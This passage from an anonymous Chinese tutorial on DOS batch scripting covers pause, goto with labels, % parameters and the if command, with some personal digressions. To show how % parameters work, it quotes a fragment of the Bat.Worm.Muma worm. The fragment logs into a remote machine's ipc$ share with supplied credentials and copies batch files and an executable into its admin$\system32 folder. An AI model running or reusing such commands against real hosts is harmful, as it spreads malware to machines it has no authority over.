4、pause
中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。
5、:和goto
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。
goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:
……
goto end
……
:end
这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。
6、%
这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。
关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!
这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真**有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!
曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。
批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!
7、if
接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。
(1)、输入判断。还是用例五里面的那几句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。
(2)、存在判断。再看例二里这句:
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。
(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。
另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。
这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
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本文来源:网络收集 作者:佚名